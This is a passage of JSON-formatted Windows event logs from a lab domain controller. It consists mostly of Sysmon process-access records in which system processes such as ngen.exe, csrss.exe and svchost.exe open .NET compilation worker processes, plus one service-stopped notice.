12:00:11.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-001065A40900}","TargetProcessId":"3156","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-001065A40900}\r\nTargetProcessId: 3156\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:11.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-001065A40900}","TargetProcessId":"3156","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-001065A40900}\r\nTargetProcessId: 3156\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:11.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-001065A40900}","TargetProcessId":"3156","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-00100DA90900}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:11.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-00100DA90900}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-00100DA90900}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:11.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-00100DA90900}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-00100DA90900}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:11.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-424B-5F2D-0000-00100DA90900}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76854,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Tile Data model server service entered the stopped state.","param1":"Tile Data model server","param2":"stopped","EventReceivedTime":"2020-08-07 12:00:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 